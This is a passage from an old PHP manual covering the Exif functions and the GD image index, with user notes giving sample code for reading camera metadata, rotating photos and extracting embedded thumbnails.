Windows Me/XP can both wipe the Exif headers when connecting to a camera.

Parameters

filename

The name of the image file being read. This cannot be an URL.

sections

Is a comma separated list of sections that need to be present in file to produce a result array. If none of the requested sections could be found the return value is FALSE.

FILE | FileName, FileSize, FileDateTime, SectionsFound
COMPUTED | html, Width, Height, IsColor, and more if available. Height and Width are computed the same way getimagesize() does so their values must not be part of any header returned. Also, html is a height/width text string to be used inside normal HTML.
ANY_TAG | Any information that has a Tag e.g. IFD0, EXIF, ...
IFD0 | All tagged data of IFD0. In normal imagefiles this contains image size and so forth.
THUMBNAIL | A file is supposed to contain a thumbnail if it has a second IFD. All tagged information about the embedded thumbnail is stored in this section.
COMMENT | Comment headers of JPEG images.
EXIF | The EXIF section is a sub section of IFD0. It contains more detailed information about an image. Most of these entries are digital camera related.

arrays

Specifies whether or not each section becomes an array. The sections COMPUTED, THUMBNAIL, and COMMENT always become arrays as they may contain values whose names conflict with other sections.

thumbnail

When set to TRUE the thumbnail itself is read. Otherwise, only the tagged data is read.

Return Values

It returns an associative array where the array indexes are the header names and the array values are the values associated with those headers. If no data can be returned, exif_read_data() will return FALSE.

Changelog

Version | Description
4.3.0 | Can read all embedded IFD data including arrays (returned as such). Also the size of an embedded thumbnail is returned in a THUMBNAIL subarray, and can return thumbnails in TIFF format. Also, there is no longer a maximum length for returned values (not until the memory limit has been reached)
4.3.0 | If PHP has mbstring support, the user comment can automatically change encoding. Also, if the user comment uses Unicode or JIS encoding this encoding will automatically be changed according to the exif ini settings in php.ini
4.3.0 | If the image contains any IFD0 data then COMPUTED contains the entry ByteOrderMotorola which is 0 for little-endian (intel) and 1 for big-endian (motorola) byte order. Also, COMPUTED and UserComment no longer only contain the first copyright entry if the datatype was wrong.

Examples

Example #1 exif_read_data() example

<?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {
    foreach ($section as $name => $val) {
        echo "$key.$name: $val<br />\n";
    }
}
?>

The first call fails because the image has no header information.

The above example will output something similar to:

test1.jpg:
No header data found.
test2.jpg:
FILE.FileName: test2.jpg
FILE.FileDateTime: 1017666176
FILE.FileSize: 1240
FILE.FileType: 2
FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, COMMENT
COMPUTED.html: width="1" height="1"
COMPUTED.Height: 1
COMPUTED.Width: 1
COMPUTED.IsColor: 1
COMPUTED.ByteOrderMotorola: 1
COMPUTED.UserComment: Exif test image.
COMPUTED.UserCommentEncoding: ASCII
COMPUTED.Copyright: Photo (c) M.Boerger, Edited by M.Boerger.
COMPUTED.Copyright.Photographer: Photo (c) M.Boerger
COMPUTED.Copyright.Editor: Edited by M.Boerger.
IFD0.Copyright: Photo (c) M.Boerger
IFD0.UserComment: ASCII
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.JPEGInterchangeFormatLength: 523
COMMENT.0: Comment #1.
COMMENT.1: Comment #2.
COMMENT.2: Comment #3end
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.Thumbnail.Height: 1
THUMBNAIL.Thumbnail.Height: 1

See Also

  • exif_thumbnail() - Retrieve the embedded thumbnail of a TIFF or JPEG image
  • getimagesize() - Get the size of an image

User Contributed Notes

michael [at[ thisiswilson [dot[ com 20-Nov-2008 09:01
From - darkain at darkain dot com 's example.

If all the data is from the same image - simply

<?php
        $exif_data = exif_read_data ( $_FILES['photo']

        $emake =$exif_data['Make'];
        $emodel = $exif_data['Model'];
        $eexposuretime = $exif_data['ExposureTime'];
        $efnumber = $exif_data['FNumber'];
        $eiso = $exif_data['ISOSpeedRatings'];
        $edate = $exif_data['DateTime'];
?>

will work, I tried using the PEL library, and while pretty cool, I can't for the life understand how to call some things, this is simpler if your system is pretty basic or if you're in a rush.  If you have time, try playing with PEL.  It's not maintained at the moment though..

http://pel.sourceforge.net/
lincolnzsilva at gmail dot com 26-Sep-2008 04:57
Get some EXIFs fields (easy way):

<?php
        $exif_make = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emake = $exif_make['Make'];

        $exif_model = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emodel = $exif_model['Model'];

        $exif_exposuretime = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eexposuretime = $exif_exposuretime['ExposureTime'];

        $exif_fnumber = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $efnumber = $exif_fnumber['FNumber'];

        $exif_iso = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eiso = $exif_iso['ISOSpeedRatings'];

        $exif_date = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $edate = $exif_date['DateTime'];
?>
darkain at darkain dot com 28-Jul-2008 11:33
I wanted some quick and easy functions for computing the shutter speed and f-stop.  I couldn't find any anywhere, so I made some.  It took some research :

<?php
function exif_get_float($value) {
  $pos = strpos($value, '/');
  if ($pos === false) return (float) $value;
  $a = (float) substr($value, 0, $pos);
  $b = (float) substr($value, $pos+1);
  return ($b == 0) ? ($a) : ($a / $b);
}

function exif_get_shutter(&$exif) {
  if (!isset($exif['ShutterSpeedValue'])) return false;
  $apex    = exif_get_float($exif['ShutterSpeedValue']);
  $shutter = pow(2, -$apex);
  if ($shutter == 0) return false;
  if ($shutter >= 1) return round($shutter) . 's';
  return '1/' . round(1 / $shutter) . 's';
}

function exif_get_fstop(&$exif) {
  if (!isset($exif['ApertureValue'])) return false;
  $apex  = exif_get_float($exif['ApertureValue']);
  $fstop = pow(2, $apex/2);
  if ($fstop == 0) return false;
  return 'f/' . round($fstop,1);
}
?>
wdierkes at 5dollarwhitebox dot org 04-Sep-2007 06:20
Using the exif methods to read WINXP data returns unexpected results unless both exif and mbstring are compiled statically.  Please reference the following bug reports:

Bug #31980
Bug #23105

Specifically, the last comment on #23105:

"[8 Apr 2003 4:26pm UTC] edink@php.net

This cannot be fixed due to the fact that mbstring has been removed from PHP core (it has been 'unbundled') and the rest of core files and other extensions cannot use mbstring functionality when it is compiled as a shared library (dll).
"

If exif is compiled statically (--enable-exif) and mbstring compiled as a DSO module (--enable-mbstring=shared) then exif_read_data may only return a single character rather than the entire string.

Compiling both exif and mbstring statically (--enable-exif --enable-mbstring) resolves the issue.
mafo at mafo removethis dot sk 08-Aug-2007 01:57
some cameras (most higher models) have position senzor (gyroskope?) and taking-position is wrote in EXIF, here is simple script for automatic rotating images

<?php
$exif = exif_read_data($filename);
$ort = $exif['IFD0']['Orientation'];
    switch($ort)
    {
        case 1: // nothing
        break;

        case 2: // horizontal flip
            $image->flipImage($public,1);
        break;

        case 3: // 180 rotate left
            $image->rotateImage($public,180);
        break;

        case 4: // vertical flip
            $image->flipImage($public,2);
        break;

        case 5: // vertical flip + 90 rotate right
            $image->flipImage($public, 2);
                $image->rotateImage($public, -90);
        break;

        case 6: // 90 rotate right
            $image->rotateImage($public, -90);
        break;

        case 7: // horizontal flip + 90 rotate right
            $image->flipImage($public,1);
            $image->rotateImage($public, -90);
        break;

        case 8:    // 90 rotate left
            $image->rotateImage($public, 90);
        break;
    }

?>

$image->rotateImage() is inspired by example of http://php.net/manual/en/function.imagerotate.php
$image->flipImage() is inspired by http://php.net/manual/en/function.imagecopy.php#42803 (thank you)
05-Mar-2007 11:50
When reading EXIF information from the 'WINXP' group, you may need to change used encoding from the default "ISO-8859-15" to "UTF-8". This can be done in php.ini or in your code:

<?php
    ini_set('exif.encode_unicode', 'UTF-8');

    $exif = exif_read_data('TEST.JPG', 0, true);
    echo $exif['WINXP']['Title'];
?>

Useful documentation about EXIF:
http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html
See also comments next to XPTitle and XPAuthor.
09-Aug-2004 10:11
I've just released the "PHP JPEG Metadata Toolkit" which allows reading, writing and displaying of EXIF information, and does not need the --enable-exif option in PHP4.

It has been tested on 466 different models of digital cameras!

It can decode the following EXIF makernotes:
Agfa, Canon, Casio, Contax, Epson, Fujifilm, Konica, Minolta, Kyocera, Nikon, Olympus, Panasonic, Pentax (Asahi), Ricoh and Sony

Additionaly it can decode IPTC, XMP, Photoshop IRB and many other types of JPEG metadata

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
gimpster at gimpster dot com 17-May-2004 04:24
I've written a library in pure PHP5 for editing EXIF tags. It deals with both reading and writing EXIF tags, and can be downloaded from http://pel.sourceforge.net/
noway at nowaysoft dot com 23-Feb-2004 08:44
Exif is very unstable under php4.1.2

If you have some problem, (the function didnt return anything, like a blocking call) try this:

$file = './image.jpg';
getimagesize ( $file , $info);

$exif = array();
if (isset($info)) {
    foreach($info as $key => $val) {
        if ($key != 'APP1') { $exif = read_exif_data($file); break; }
    }
}

-- Sharp
pekka at photography-on-the dot net 19-Nov-2003 05:50
For reading EXIF from XMP data embedded by Adobe Photoshop CS, see  http://www.photography-on-the.net/ee/beta/cs_xmp_to_exif.php
exif_imagetype
exif_tagname
Exif Functions


Get the header name for an index

exif_read_data
exif_thumbnail
Exif Functions
PHP Manual

exif_tagname

(PHP 4 >= 4.2.0, PHP 5)

exif_tagname — Get the header name for an index

Description

string exif_tagname ( int $index )

Parameters

index

The Tag ID for which a Tag Name will be looked up.

Return Values

Returns the header name, or FALSE if index is not a defined EXIF tag id.

Examples

Example #1 exif_tagname() example

<?php
echo "256: ".exif_tagname(256).PHP_EOL;
echo "257: ".exif_tagname(257).PHP_EOL;
?>

The above example will output:

256: ImageWidth
257: ImageLength

See Also

  • exif_imagetype() - Determine the type of an image
  • » EXIF Specification
  • » EXIF Tags

User Contributed Notes

abc at ed48 dot com 22-Jun-2011 10:03
In association with exif_read_data:

<?php

# The tagnames can vary in different cameras

$imgdir = "/path_to_img/";
$img_file = "image_file.jpg";

echo $img_file . "&nbsp;&nbsp;&nbsp;<sub>TEST</sub>
<br />";
echo '<img src="' . $imgdir . $img_file . '" alt="'
 . $img_file . '" title="' . $img_file . '" width="400" /><br /><br />';

$xf_data = exif_read_data($imgdir . $img_file);

$tagg = exif_tagname(0X10F);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X110);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X132);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0XA002);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';
$tagg = exif_tagname(0XA003);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';

?>
abc at ed48 dot com 21-Jun-2011 01:20
Theoretically, 65,535 tags are possible. Although not all are used, yet. The code below lists these tags:

<?php

for ($id = 1; $id <= 65535; $id++)
{
$dec2hex = dechex($id);

$strgx = '0x'. $dec2hex;

if(exif_tagname($strgx) != "")
{
echo $strgx . ' ( ' . exif_tagname($strgx) . ' )<br />';
}
}

?>
djmaze@moocms 22-Feb-2008 05:23
Usage: exif_tagname(0x5001)

A list of all supported index numbers is in the exif.c: tag_table_IFD

http://cvs.php.net/viewvc.cgi/php-src/ext/exif/exif.c?view=markup

As you can see, it doesn't support them all!
exif_read_data
exif_thumbnail
Exif Functions


Retrieve the embedded thumbnail of a TIFF or JPEG image

exif_tagname
read_exif_data
Exif Functions
PHP Manual

exif_thumbnail

(PHP 4 >= 4.2.0, PHP 5)

exif_thumbnail — Retrieve the embedded thumbnail of a TIFF or JPEG image

Description

string exif_thumbnail ( string $filename [, int &$width [, int &$height [, int &$imagetype ]]] )

exif_thumbnail() reads the embedded thumbnail of a TIFF or JPEG image.

If you want to deliver thumbnails through this function, you should send the mimetype information using the header() function.

It is possible that exif_thumbnail() cannot create an image but can determine its size. In this case, the return value is FALSE but width and height are set.

Parameters

filename

The name of the image file being read. This image contains an embedded thumbnail.

width

The return width of the returned thumbnail.

height

The returned height of the returned thumbnail.

imagetype

The returned image type of the returned thumbnail. This is either TIFF or JPEG.

Return Values

Returns the embedded thumbnail, or FALSE if the image contains no thumbnail.

Changelog

Version | Description
4.3.0 | The optional parameters width, height, and imagetype all became available.
4.3.0 | May return thumbnails in the TIFF format.

Examples

Example #1 exif_thumbnail() example

<?php
if (array_key_exists('file', $_REQUEST)) {
    $image = exif_thumbnail($_REQUEST['file'], $width, $height, $type);
} else {
    $image = false;
}
if ($image!==false) {
    header('Content-type: ' .image_type_to_mime_type($type));
    echo $image;
    exit;
} else {
    // no thumbnail available, handle the error here
    echo 'No thumbnail available';
}
?>

See Also

  • exif_read_data() - Reads the EXIF headers from JPEG or TIFF
  • image_type_to_mime_type() - Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype

User Contributed Notes

thrustvector at &#39;gee&#39;mail dot com 29-Jul-2008 01:40
If you've edited the image with image editing software and it no longer contains an exif thumbnail, I've created a script that will add one back into it, using the "PHP Exif Library": http://pel.sourceforge.net/index.php

<?php
require_once('../PEL/PelJpeg.php');
require_once('../PEL/PelIfd.php');
$fullpath = 'images/DSC_0013c.JPG';  # path of source image (does not contain an exif thumbnail)

$jpeg = new PelJpeg($fullpath);
 $exif = $jpeg->getExif();
 $tiff = $exif->getTiff();
 $ifd0 = $tiff->getIfd();        # need this so that we can later link it to the new IFD

 $ifd1 = $ifd0->getNextIfd();
if (!$ifd1) {        # Only create thumbnail if one doesn't exist (i.e. there is no IFD1)
    $ifd1 = new PelIfd(1);
    $ifd0->setNextIfd($ifd1); # point ifd0 to the new ifd1 (or else ifd1 will not be read)

    $original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
    $orig_w=imagesx($original);
    $orig_h=imagesy($original);
    $wmax = 160;
    $hmax = 120;

    if ($orig_w>$wmax || $orig_h>$hmax) {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h); # maintain aspect ratio
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    }
    else { # only set the thumb's size if the original is larger than 'wmax'x'hmax'
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }

        # create image resource with thumbnail sizing
    $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        ## Resize original and copy to the blank thumb resource
    imagecopyresampled($thumb,$original,
                               0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);

        # start writing output to buffer
    ob_start();
        # outputs thumb resource contents to buffer
    ImageJpeg($thumb);
        # create PelDataWindow from buffer thumb contents (and end output to buffer)
    $window = new PelDataWindow(ob_get_clean());

    if ($window) {

        $ifd1->setThumbnail($window); # set window data as thumbnail in ifd1
        $outpath = $fullpath; # overwrite original jpg file
        file_put_contents($outpath, $jpeg->getBytes()); # write everything to output filename
            # Show thumbnail in file:
        echo '<img src="thumb_exif.php?image='.$outpath.'" border=0 alt="If you see this, it did not work"><br>';

    }
}
else {
    echo 'ifd1 already exists! (IFD1 is where the thumbnail is stored)<br>';
}
?>
<?php # This is the code in thumb_exif.php :
        $imgdat = exif_thumbnail($_REQUEST['image'], $width, $height, $type);
        header('Content-type: ' . image_type_to_mime_type($type));
        echo($imgdat);
?>

If you have a lot of such files, you can easily make a script that searches them out and adds thumbnails to their exif.
Miguel Vitorino 08-Oct-2007 06:37
use this if you want to embed a thumbnail directly on the HTML page without writing it first to a file:

<?php
$image = exif_thumbnail($file, $width, $height, $type);

echo "<img  width='$width' height='$height' src='data:image/gif;base64,".base64_encode($image)."'>";
?>
05-Jan-2007 06:23
If you want to convert from TIFF to JPG you can use ImageMagick if it is installed in your server.

<?php
$exec = 'convert /path/to/file.tiff /path/to/file.jpg 2>&1';
@exec($exec, $exec_output, $exec_retval);

//possible error
print_r($exec_output)
?>
hanspeter dot debets at dendrite dot com 14-Jan-2005 06:35
Great that the thumbnail can be in TIFF format (f.i. Kodak cameras have embedded thumbnail in TIFF) BUT I have not been able to show TIFF as an embedded image in HTML (using the <IMG...> tag). There seems to be no function in PHP to change TIFF to, lets say, JPG. (imagecreatefromstring gives a 'unknown datatype' error for the TIFF stream. So below sample works great for JPEG embedded thumbnail, but not for TIFF embedded (but then, maybe I did something wrong?):

test_exif.php:

<HTML>
<HEAD>
    <TITLE>Test EXIF Read  </TITLE>
</HEAD>
<BODY>
<?php
$image='P0000614.JPG';
echo("<B>". $image. "</B>:<BR><BR>\n");

$exif = exif_read_data($image, 'ANY_TAG',true);
if (!$exif===false)
{
    echo("Image contains headers<br><br>");
    echo("<A href=showthumb.php?image=" . $image ."> <IMG border=0 src=showthumb.php?image=" . $image ."></A><BR><BR>");

    foreach ($exif as $key => $section)
    {
        foreach ($section as $name => $val)
        {
            echo "$key.$name: $val<br>\n";
        }
    }
}
else
{
    echo("Sorry, image <B>".$image . "</B> does not contain (readable) EXIF data.");
}
?>
</BODY>
</HTML>

showthumb.php:

<?php
$imgdat = exif_thumbnail($_REQUEST['image'],$width, $height, $type);
header('Content-type: ' . image_type_to_mime_type($type));
echo($imgdat);
?>

When clicking on the <A> opens the TIFF image in the program that windows assigned to this type, but the JPEG opens in the browser.

I am using PHP 4.3.6 on windows iis 4 (yeah, I know.....)
Eric 13-Jun-2004 07:05
This will allow you to manipulate the thumbnail image ($imgJpeg) using the various gd commands:

<?php
  if (($imgJpeg = exif_thumbnail($strImagePath)) === false)
    print "No Thumbnail!";
  else
    $imgJpeg = imageCreateFromString($imgJpeg);
?>
neothermic at ya[]o dot com ADD ho IN GAP 26-May-2004 10:01
You can use the EXIF thumbnail function to extract the thumnails for use in an image gallery. I've found this to be faster than using other GD functions to convert the image to a smaller one then save it.

Here is the code I use to generate thumbnails. Remember, this is more of a utility script, although its simple to modifiy it for use...

<?PHP
set_time_limit(0); //use this to make sure the script doesn't time out on large number of images.
//error_reporting(E_NONE); //use this to disable errors in a production script

function getmicrotime() {
    $temparray=split(" ",microtime());
    $returntime=$temparray[0]+$temparray[1];
    return $returntime;
}

//lets make it slightly proper HTML. not valid, but can be changed quickly to be
echo "<html>
<head><title>Processing...</title></head>
<body>";

$maindir = "." ; //change this to what ever directory needs scanning
$mydir = opendir($maindir) ;
$starttime=getmicrotime();
$i = 0; //set the count of images processed to 0
while($fn = readdir($mydir)) //scan through the whole directory
    {//open while

        $startimagetime = getmicrotime();
        $ext = strtolower(substr($fn,strlen($fn)-3)); //get the extension of an image
        if ($ext == "jpg") {
            $i++; //increase the number of images processed
            echo $fn ." is being processed....<br>";
            flush(); //needed to display each image progress

            $image = exif_thumbnail($fn, $width, $height, $type);

            if ($image!==false) {
                    //if there is a good enough thumbnail to use, we have it here.
                    //extract it and put it in the file, call it [original image name].thumb.jpg
                 $handle = fopen ($fn.".thumb.jpg", 'a');
                 //write the thumbnail image
                 fwrite($handle, $image);
            } else {
                 // no thumbnail available, handle the error here
                 echo "No thumbnail available for file ".$fn."<br>";
            }
        }
}
closedir($mydir);
$endtime=getmicrotime();

echo "<br>All Images have been processed, script is finshed.<br>Total processing time: ";
print $endtime-$starttime;
echo "<br> Images processed: " .$i;
echo "</body>";
echo "</html>"

?>

Its a bit crude, I must admit, but it can easily be adapted to suit user.

NeoThermic
exif_tagname
read_exif_data
Exif Functions


Alias of exif_read_data

exif_thumbnail
GD
Exif Functions
PHP Manual

read_exif_data

(PHP 4 >= 4.0.1, PHP 5)

read_exif_data — Alias of exif_read_data()

Description

This function is an alias of: exif_read_data().

User Contributed Notes

There are no user contributed notes for this page.
exif_thumbnail
GD
Exif Functions


Image Processing and GD

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • PNG creation with PHP
    • Adding watermarks to images using alpha channels
    • Using imagecopymerge to create a translucent watermark
  • GD and Image Functions
    • gd_info — Retrieve information about the currently installed GD library
    • getimagesize — Get the size of an image
    • image_type_to_extension — Get file extension for image type
    • image_type_to_mime_type — Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
    • image2wbmp — Output image to browser or file
    • imagealphablending — Set the blending mode for an image
    • imageantialias — Should antialias functions be used or not
    • imagearc — Draws an arc
    • imagechar — Draw a character horizontally
    • imagecharup — Draw a character vertically
    • imagecolorallocate — Allocate a color for an image
    • imagecolorallocatealpha — Allocate a color for an image
    • imagecolorat — Get the index of the color of a pixel
    • imagecolorclosest — Get the index of the closest color to the specified color
    • imagecolorclosestalpha — Get the index of the closest color to the specified color + alpha
    • imagecolorclosesthwb — Get the index of the color which has the hue, white and blackness
    • imagecolordeallocate — De-allocate a color for an image
    • imagecolorexact — Get the index of the specified color
    • imagecolorexactalpha — Get the index of the specified color + alpha
    • imagecolormatch — Makes the colors of the palette version of an image more closely match the true color version
    • imagecolorresolve — Get the index of the specified color or its closest possible alternative
    • imagecolorresolvealpha — Get the index of the specified color + alpha or its closest possible alternative
    • imagecolorset — Set the color for the specified palette index
    • imagecolorsforindex — Get the colors for an index
    • imagecolorstotal — Find out the number of colors in an image's palette
    • imagecolortransparent — Define a color as transparent
    • imageconvolution — Apply a 3x3 convolution matrix, using coefficient and offset
    • imagecopy — Copy part of an image
    • imagecopymerge — Copy and merge part of an image
    • imagecopymergegray — Copy and merge part of an image with gray scale
    • imagecopyresampled — Copy and resize part of an image with resampling
    • imagecopyresized — Copy and resize part of an image
    • imagecreate — Create a new palette based image
    • imagecreatefromgd2 — Create a new image from GD2 file or URL
    • imagecreatefromgd2part — Create a new image from a given part of GD2 file or URL
    • imagecreatefromgd — Create a new image from GD file or URL
    • imagecreatefromgif — Create a new image from file or URL
    • imagecreatefromjpeg — Create a new image from file or URL
    • imagecreatefrompng — Create a new image from file or URL
    • imagecreatefromstring — Create a new image from the image stream in the string
    • imagecreatefromwbmp — Create a new image from file or URL
    • imagecreatefromxbm — Create a new image from file or URL
    • imagecreatefromxpm — Create a new image from file or URL
    • imagecreatetruecolor — Create a new true color image
    • imagedashedline — Draw a dashed line
    • imagedestroy — Destroy an image
    • imageellipse — Draw an ellipse
    • imagefill — Flood fill
    • imagefilledarc — Draw a partial arc and fill it
    • imagefilledellipse — Draw a filled ellipse
    • imagefilledpolygon — Draw a filled polygon
    • imagefilledrectangle — Draw a filled rectangle
    • imagefilltoborder — Flood fill to specific color
    • imagefilter — Applies a filter to an image
    • imagefontheight — Get font height
    • imagefontwidth — Get font width
    • imageftbbox — Give the bounding box of a text using fonts via freetype2
    • imagefttext — Write text to the image using fonts using FreeType 2
    • imagegammacorrect — Apply a gamma correction to a GD image
    • imagegd2 — Output GD2 image to browser or file
    • imagegd — Output GD image to browser or file
    • imagegif — Output image to browser or file
    • imagegrabscreen — Captures the whole screen
    • imagegrabwindow — Captures a window
    • imageinterlace — Enable or disable interlace
    • imageistruecolor — Finds whether an image is a truecolor image
    • imagejpeg — Output image to browser or file
    • imagelayereffect — Set the alpha blending flag to use the bundled libgd layering effects
    • imageline — Draw a line
    • imageloadfont — Load a new font
    • imagepalettecopy — Copy the palette from one image to another
    • imagepng — Output a PNG image to either the browser or a file
    • imagepolygon — Draws a polygon
    • imagepsbbox — Give the bounding box of a text rectangle using PostScript Type1 fonts
    • imagepsencodefont — Change the character encoding vector of a font
    • imagepsextendfont — Extend or condense a font
    • imagepsfreefont — Free memory used by a PostScript Type 1 font
    • imagepsloadfont — Load a PostScript Type 1 font from file
    • imagepsslantfont — Slant a font
    • imagepstext — Draws a text over an image using PostScript Type1 fonts
    • imagerectangle — Draw a rectangle
    • imagerotate — Rotate an image with a given angle
    • imagesavealpha — Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images
    • imagesetbrush — Set the brush image for line drawing
    • imagesetpixel — Set a single pixel
    • imagesetstyle — Set the style for line drawing
    • imagesetthickness — Set the thickness for line drawing
    • imagesettile — Set the tile image for filling
    • imagestring — Draw a string horizontally
    • imagestringup — Draw a string vertically
    • imagesx — Get image width
    • imagesy — Get image height
    • imagetruecolortopalette — Convert a true color image to a palette image
    • imagettfbbox — Give the bounding box of a text using TrueType fonts
    • imagettftext — Write text to the image using TrueType fonts
    • imagetypes — Return the image types supported by this PHP build
    • imagewbmp — Output image to browser or file
    • imagexbm — Output XBM image to browser or file
    • iptcembed — Embeds binary IPTC data into a JPEG image
    • iptcparse — Parse a binary IPTC block into single tags.
    • jpeg2wbmp — Convert JPEG image file to WBMP image file
    • png2wbmp — Convert PNG image file to WBMP image file

User Contributed Notes

herbert dot walde at googlemail dot com 04-Jan-2012 11:41
In case your script is using output-buffering-functions somewhere, then you have to clear the buffer first ( with ob_clear() ), before outputting an image with a function like imagepng().

And you should make sure that no buffer will get send after outputing an image by using the ob_end_flush()-function.

Furthermore you should check if a buffer has already been flushed somewhere before. This can be done using the headers_sent()-function.

Here is the full solution:

<?php
if(headers_sent()){
    die('Headers have been send somewhere within my script');
}

ob_clean(); //Clears the buffer

header('Content-type: image/png');
imagepng($img, NULL, 0,  NULL);

ob_end_flush(); //Now we send the header and image plus we make sure that nothing will get send from now on (including possible shutdown-functions and __destruct()-methods) till the end of page-execution
?>
donatj at gmail dot com 12-Jul-2011 01:43
UTF-8 is fine with GD - as well as any other Unicode transformation format - you just need to ensure your saved file doesn't contain the dreaded byte order mark.
kurdtpage at gmail dot com 27-Apr-2011 10:53
When using GD, please make sure of the following things:

1. The file that is used to manipulate images is saved as ANSI format and not UTF-8
2. There is no space in front of the opening tag <?php
mac_doggie at hotmail dot com 28-May-2010 07:50
A way to read the color of a pixel:

<?php
   $img = imagecreatefrompng("image1.png");

   $w = imagesx($img);
   $h = imagesy($img);

   for($y=0;$y<$h;$y++) {
      for($x=0;$x<$w;$x++) {
         $rgb = imagecolorat($img, $x, $y);
         $r = ($rgb >> 16) & 0xFF;
         $g = ($rgb >> 8) & 0xFF;
         $b = $rgb & 0xFF;
         echo "#".str_repeat("0",2-strlen(dechex($r))).dechex($r).
str_repeat("0",2-strlen(dechex($g))).dechex($g).
str_repeat("0",2-strlen(dechex($b))).dechex($b).",";
      }
      echo "<br />\r\n";
   }
?>

[EDIT BY thiago: merged two notes from same submitter.]
rmayo100 at yahoo dot com 18-May-2010 08:05
I use GD to create graphs of data that exists in my system.  I use a link like this to place the graph image on my page:
      <img src="image.php" name="Image">

And this works just fine.  Image.php acquires the data to be graphed and creates a png image with it. (And is even able to do it very quickly.)

However, I would also like to have external access that data.  Unfortunately, it's is acquired by the graphing function from a UDP broadcast stream and I have no idea how to make it available outside that file (or how to capture it twice, perhaps).

I've had exactly no luck trying to implement a global variable, I suspect, because global variables really aren't global and their scope doesn't span multiple files.

I don't know if this is the right venue for this post, but I'm stumped so far and I had to post it somewhere.

Thanks,
R.
mail at ecross dot nl 03-Apr-2010 07:31
hello there,
i made a function to create a gradient image.

description:
gradient(int image_width, int image_height,
int start_red, int start_green, int start_blue,
int end_red, int end_green, int end_blue,
bool vertical)

function:
<?php
function gradient($image_width, $image_height,$c1_r, $c1_g, $c1_b, $c2_r, $c2_g, $c2_b, $vertical=false)
{
// first: lets type cast;
$image_width = (integer)$image_width;
$image_height = (integer)$image_height;
$c1_r = (integer)$c1_r;
$c1_g = (integer)$c1_g;
$c1_b = (integer)$c1_b;
$c2_r = (integer)$c2_r;
$c2_g = (integer)$c2_g;
$c2_b = (integer)$c2_b;
$vertical = (bool)$vertical;

// create a image
$image  = imagecreatetruecolor($image_width, $image_height);

// make the gradient
for($i=0; $i<$image_height; $i++)
{
$color_r = floor($i * ($c2_r-$c1_r) / $image_height)+$c1_r;
$color_g = floor($i * ($c2_g-$c1_g) / $image_height)+$c1_g;
$color_b = floor($i * ($c2_b-$c1_b) / $image_height)+$c1_b;

$color = ImageColorAllocate($image, $color_r, $color_g, $color_b);
imageline($image, 0, $i, $image_width, $i, $color);
}

# Prints out all the figures and picture and frees memory
header('Content-type: image/png');

if($vertical){$image = imagerotate($image, 90, 0);}
ImagePNG($image);
imagedestroy($image);
}
?>
jordan at jkdesign dot org 07-Sep-2009 03:09
Building on Ashley's example, here's an example of some code that grabs an existing image file and outputs an html img tag with the contents. I found it useful because I needed to not broadcast the filenames.

<?php
$file = 'images/01.png';
$image = imagecreatefrompng($file);
imagealphablending($image, false);
imagesavealpha($image, true);

// start buffering
ob_start();
imagepng($image);
$contents =  ob_get_contents();
ob_end_clean();

echo "<img src='data:image/png;base64,".base64_encode($contents)."' />";

imagedestroy($image);
?>
scurvysquid at yahoo dot com 04-May-2009 12:08
to address Thomas' note about exif data, exif is only valid for .tiff and .jpg files.    As always, it's up to the individual to make the call but I personally would prefer to create an abstraction layer to work for all images, and relying on exif data means you need to limit your allowed image types.  I've heard some great things about the GD library and found them to all be true in my own use of it, losing the nominally useful data specific to jpegs and pngs is not a sufficient reason alone to convince me to use imagemagick instead.
Thomas 10-Dec-2008 02:05
You know, maybe this goes without saying, but I thought I would drop a note in here.  When developing code to resize images, it is best not to use GD.  When using the current GD methodologies, you are reading content from an image and manipulating it.  By then writing that content to a brand new file, you are losing the EXIF data.

For purposes when you want to retain EXIF data, it is recommended that you compile in and use the PECL Imagick extension.  It has great resizing methods built right in and the EXIF data is retained.
code at ashleyhunt dot co dot uk 23-Oct-2008 06:02
I have been looking to send the output from GD to a text string without proxying via a file or to a browser.

I have come up with a solution.

This code buffers the output between the ob_start() and ob_end() functions into ob_get_contents()

See the example below

<?php
// Create a test source image for this example
$im = imagecreatetruecolor(300, 50);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// start buffering
ob_start();
// output jpeg (or any other chosen) format & quality
imagejpeg($im, NULL, 85);
